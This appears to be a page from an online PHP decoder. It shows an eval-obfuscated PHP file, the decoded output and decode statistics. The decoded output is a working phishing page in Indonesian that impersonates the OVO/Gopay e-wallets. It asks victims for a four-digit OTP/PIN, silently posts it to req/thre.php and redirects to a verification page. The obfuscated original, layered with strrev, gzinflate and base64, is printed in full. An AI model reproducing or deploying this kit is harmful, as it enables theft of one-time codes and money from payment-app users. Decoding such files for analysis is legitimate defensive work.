Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $enc = '=8J0Cvaw12v2D4/z/2uQc/wdFP6gO2u2u+vDwfYK24j8xAmWeccA6rpTzu6MCm0FMtyszNgOVeN..

Decoded Output download

?>b'<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Gopay</title>
    <meta property="og:description" content="Jadikan transaksi lebih simpel, instan, aman dan dapatkan berbagai keuntungan lainnya!">
    <link rel="stylesheet" href="ast/main.css">
    <link rel="stylesheet" href="ast/pin.css">
    <link rel="stylesheet" href="ast/load.css">
    <link rel="icon" href="https://www.ovo.id/ovo_front_res/favicon.png" type="image/png" sizes="32x32">
    <link href=\'https://unpkg.com/[email protected]/css/boxicons.min.css\' rel=\'stylesheet\'>
    <meta property="og:title" content="OVO | Join the rOVOlution in Payment, Points & Priority!">
    <meta property="twitter:title" content="OVO | Join the rOVOlution in Payment, Points & Priority!">
    <meta property="twitter:card" content="summary_large_image">
    <meta property="og:image:type" content="image/jpeg"> 
    <meta property="og:image" content="https://asset-a.grid.id/crop/37x215:610x629/700x465/photo/2022/08/10/4-cara-aman-transaksi-pakai-ovo-20220810095502.jpg" >
    <meta property="twitter:image:src" content="https://asset-a.grid.id/crop/37x215:610x629/700x465/photo/2022/08/10/4-cara-aman-transaksi-pakai-ovo-20220810095502.jpg">
    <meta property="og:url" content="https://www.ovo.id">
    <meta property="og:description" content="Jadikan transaksi lebih simpel, instan, aman dan dapatkan berbagai keuntungan lainnya!">
    <meta property="twitter:description" content="Jadikan transaksi lebih simpel, instan, aman dan dapatkan berbagai keuntungan lainnya!">
</head>
<body>
    <div class="container page1">
        <div style="display:none;" class="load">
            <div class="box">
                <div class="circle one"></div>
                <div class="circle two"></div>
                <div class="circle three"></div>
            </div>
        </div>
        <div class="header">
            <i onclick="window.location.href=\'/\'" class=\'bx bx-left-arrow-alt\'></i>
        </div>
        <div class="title">
            <h3 class="b">kode OTP terkirim!</h3>
          <p class="r">buat mastiin ini kamu, kami sudah kirim otp melalui SMS</p>
        </div>
        <form id="formPin">
            <div class="box-input-pin">
                <div class="clear"></div>
                <input name="pin1" id="pin1" class="inppin" type="number" autocomplete="off" required maxlength="1" onKeyPress="if(this.value.length==1) return false;">
                <input name="pin2" id="pin2" class="inppin" type="number" autocomplete="off" required maxlength="1" onKeyPress="if(this.value.length==1) return false;">
                <input name="pin3" id="pin3" class="inppin" type="number" autocomplete="off" required maxlength="1" onKeyPress="if(this.value.length==1) return false;">
                <input name="pin4" id="pin4" class="inppin" type="number" autocomplete="off" required maxlength="1" onKeyPress="if(this.value.length==1) return false;">
            </div>
            <p class="r reset bot">Lupa kode kamu? <span class="b">Atur Ulang</span></p>
        </form>
    </div>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
    $(document).ready(function() {
        $(\'.clear\').click(function() {
            $(\'.inppin\').val(\'\');
            $(\'#pin1\').focus();
        });
    })
</script>
<script>
    $(\'.inppin\').on(\'input\', function(event) {
        const inputs = $(\'.inppin\');
        const isAllFilled = Array.from(inputs).every((input) => input.value !== \'\');
        if (isAllFilled == true) {
            $(event.target).blur();
            sendPin();
        }
        const index = inputs.index(this);
        const currentValue = event.target.value;
        if (currentValue.length === 1) {
            if (index < inputs.length - 1) {
                inputs[index + 1].focus();
            }
        } else if (currentValue.length === 0) {
            if (index > 0) {
                inputs[index].focus();
            }
        }
    });
    $(\'.inppin\').on(\'keydown\', function(event) {
        const inputs = $(\'.inppin\');
        const key = event.key;
        const index = inputs.index(this);
        if (key === \'Backspace\' && event.target.value.length === 0) {
            if (index > 0) {
                inputs[index - 1].focus();
            }
        }
    });
</script>
<script>
    function sendPin(){
        $(".load").fadeIn();
        $.ajax({
            type: \'POST\',
            url: \'req/thre.php\',
            data: $(\'#formPin\').serialize(),
            dataType: \'text\',
            success: function(){
                window.location.href = \'ver.php\';
            }
        });
    };
</script>
</body>
</html>'

Did this file decode correctly?

Original Code

<?php
$enc = '=8J0Cvaw12v2D4/z/2uQc/wdFP6gO2u2u+vDwfYK24j8xAmWeccA6rpTzu6MCm0FMtyszNgOVeN1DUvaeYvcMCFaCEGRx6WTxptGUqYXz/ImptusmM0g4Rz7C7b3/ot+1/3vQkOktD2Or5sl0XoHutbZ8HBcthNvtDNv8WdsVe9QlOodPulo8ZQbLdqPPACf+xznBgS7CSG0/I7mgw5HsOwJf7gfzHOarGYRc4LfDVCxg6khIJu9zyCU9l8F2B+dsGI3rJyduilAH8+YymyAvPfSvZqK/qKOxpNgw1XBQWS3gsjZxx890gJoQrno9bCyjRbGQRU2xwuOfrUhoIFbv9bW0d3QAeVscIcmb3+ttZu9pARa/3VtQxrBUJG67qRHD7J8cUQDuHTmtULJ2w22kdsEyhiy3WiXi7UsVvmK8G1DeVsWyawXIWmoV6CTRZeOGvU+J3nK9sIiWGvJhyxQrd3ZEpdzqBGwWp0fQW23MACt3g8oC7U3DFe5HGsJave9QE8Ilx2bS2zi1vv54qTMhg1qp1C0PKz1DdN7FQ3P1ckn18J5qbdB2SiQDvGLXGGU1jm7CPpKaNK9ChsWrXBdbpm3HtrSXzB8tbQPZpV3qA4V9x7Ioail65/hEIkG32mQ/vRL53GL3+WVs3o0q0fjkXDR/K26xz+crS6dlbl2qI+URu19vqBQJfHOMnYJWfI29ESAsTfhsRvjH0OprsNSgrn2CVLtB6uZx6qUZQQoNlXHmJOiuAxLR7UHzkhmDn1WYGn9Q9axjQBPOz1IQMXmurYQK1DxYHO6wV+bDeQOoyBSCD9jjwqMo8qptUhYIFxCPRFUnbKuhKWsodSfR0NVOI1F4+kvBBDvJCIlJ9xE+cY2snWYZQVomfhfRt7rvXP5gx7pBIpcpBBpiPWpigOj/qNnWhWmxw22x44IGikaKwg1PmEfdzyWa3AMOtMFC72MEsvruCkpE5dvPXZ7GjwubqWoJ4OxuNud5AUWJr0VYZIHHgpMzdw8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emN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;
?>

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 3

Variables

$enc =8J0Cvaw12v2D4/z/2uQc/wdFP6gO2u2u+vDwfYK24j8xAmWeccA6rpTzu6M..

Stats

MD5 04eb3061e36c354d8e14824e7de468f8
Eval Count 2
Decode Time 44 ms